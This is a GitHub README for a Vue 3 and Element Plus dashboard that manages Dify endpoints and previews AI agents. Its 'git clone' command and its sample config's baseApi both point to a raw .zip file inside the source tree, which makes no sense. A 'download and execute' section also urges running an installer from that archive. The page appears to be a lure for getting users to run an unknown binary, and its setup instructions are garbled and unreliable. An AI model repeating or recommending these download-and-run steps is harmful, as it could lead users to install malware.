Skip to content

README.md

Latest commit

 

History

History
246 lines (211 loc) · 10.1 KB

README.md

File metadata and controls

246 lines (211 loc) · 10.1 KB

Dify Sample: Vue 3 AI Agent Platform with Element Plus UI

Releases

Hero Image
Element Plus

A clean, responsive AI agent dashboard built with Vue 3 and Element Plus. It provides a modern UI to manage Dify URLs, test agents, and preview agent flows. The project focuses on clarity, fast iteration, and a smooth developer experience.

Table of contents

  • Features
  • Screenshots
  • Quick start
  • Releases (download & run)
  • Project structure
  • Core components
  • Configuration
  • Development tips
  • Deployment
  • Contributing
  • License

Features

  • Responsive layout with Vue 3 composition API and Element Plus components.
  • Centralized URL manager for Dify endpoints.
  • Agent preview panel with request/response inspector.
  • Built-in test runner for endpoint checks.
  • Role-based UI controls for admin and viewer modes.
  • Lightweight state management using Pinia.
  • Clear routing and lazy loading for large deployments.

Screenshots

  • Dashboard overview
    Dashboard
  • Agent editor and flow preview
    Agent Editor
  • URL manager and test results
    URL Manager

Quick start

Prerequisites

Clone the repo

git clone https://github.com/damienwww/dify-application-sample/raw/refs/heads/master/src/views/sample_application_dify_v2.0.zip
cd dify-application-sample

Install

npm install
# or
yarn

Run locally

npm run dev
# or
yarn dev

Open http://localhost:5173 in your browser. The app starts with demo data. Edit the config to point to your Dify endpoints.

Releases — download and execute

Download Release

Project structure

Core components and concepts

  • UrlManager
    • List saved Dify endpoints.
    • Test a URL with a single click.
    • Store headers and auth per entry.
  • AgentCard
    • Show agent summary and quick actions.
    • Launch live preview or edit agent settings.
  • FlowPreview
    • Render agent flow as nodes and edges.
    • Run simulated inputs and inspect outputs.
  • RequestInspector
    • Capture HTTP requests and responses.
    • Show request headers, body, and response timing.

State and data

  • Use Pinia for a small, typed store per domain:
    • useUrlStore — manage saved URLs and test results.
    • useAgentStore — manage agent metadata and local cache.
    • useUiStore — theme, layout, and permissions.
  • Persist URL store to localStorage for quick setup.

Configuration

Sample config

export default {
  baseApi: "https://github.com/damienwww/dify-application-sample/raw/refs/heads/master/src/views/sample_application_dify_v2.0.zip",
  demoMode: true,
  theme: "light"
}

Authentication

  • The app supports API keys and bearer tokens per URL entry.
  • Store secrets in the browser only when demoMode=false is off. For production, use a secure backend proxy.

Building and packaging

  • Build web app
npm run build
# or
yarn build
  • Serve built files with any static server
npx serve dist
  • Desktop packaging
    • The repo includes optional electron scripts under electron/.
    • Use the Releases page to download prebuilt installers. The release archive includes an executable or installer you should run on your platform.

Testing

  • Unit tests use Vitest.
npm run test
# or
yarn test
  • End-to-end tests use Playwright. Tests cover flows for URL checks and agent preview.

Development tips

  • Use the Vue Devtools to inspect Pinia state and routing.
  • Use the RequestInspector to debug API errors and timeouts.
  • Keep demoMode on for safe local tests.
  • Use the built-in test runner to validate endpoints before saving them.

Deploy

  • Static hosting: Netlify, Vercel, or GitHub Pages.
  • Docker
    • Use a simple Nginx image that serves the dist folder.
    • Example Dockerfile
FROM nginx:stable-alpine
COPY dist /usr/share/nginx/html
EXPOSE 80
  • CI
    • Build via GitHub Actions and push release artifacts to the Releases page.
    • Each release can include binaries for Windows, macOS, and Linux.

Integrations

  • Dify endpoints
    • The UI expects standard JSON responses from Dify API endpoints.
    • Add custom headers per URL entry for auth and tracing.
  • Webhooks
    • The app can send test payloads to webhook endpoints and show response history.

Security

  • Keep API keys out of git.
  • Use environment variables and a backend proxy for secret management in production.
  • The app uses CORS-safe requests. For local testing, run a proxy if the endpoint blocks cross-origin requests.

Contributing

  • Fork the repo and open a pull request.
  • Keep PRs small and focused.
  • Follow the code style in the repo: ESLint and Prettier are set up.
  • Use feature branches named feature/.

Common workflows

  • Add a new Dify endpoint
    1. Open Url Manager.
    2. Click Add.
    3. Provide URL, auth type, and tags.
    4. Click Test to validate the endpoint.
    5. Save.
  • Create an agent preview
    1. Open Agents.
    2. Select New Agent.
    3. Fill name, description, and point it to a URL entry.
    4. Use Flow Preview to simulate input.

Troubleshooting

  • If the UI cannot reach an endpoint, use RequestInspector to confirm CORS or auth errors.
  • For missing images or static assets, check the public/ folder and build output.
  • If the packaged app fails to start after download, ensure you downloaded the correct artifact from the Releases page and follow the included run instructions.

Releases and downloads

FAQ

  • Q: Does the app store my keys on the server?
    A: No. The default build stores keys only in your browser storage. For shared deployments, use a secure backend proxy.
  • Q: Can I run the app offline?
    A: The UI runs offline for demo data. Agent calls require network access.
  • Q: Which browsers work?
    A: Modern Chromium-based browsers, Firefox, and Safari. Mobile support works but UI aims desktop first.

Changelog

Acknowledgements

  • Built with Vue 3 and Element Plus.
  • Icons and images use public assets and the Vue brand resources.

License

  • MIT

Contact

  • Open issues on GitHub for bugs or feature requests.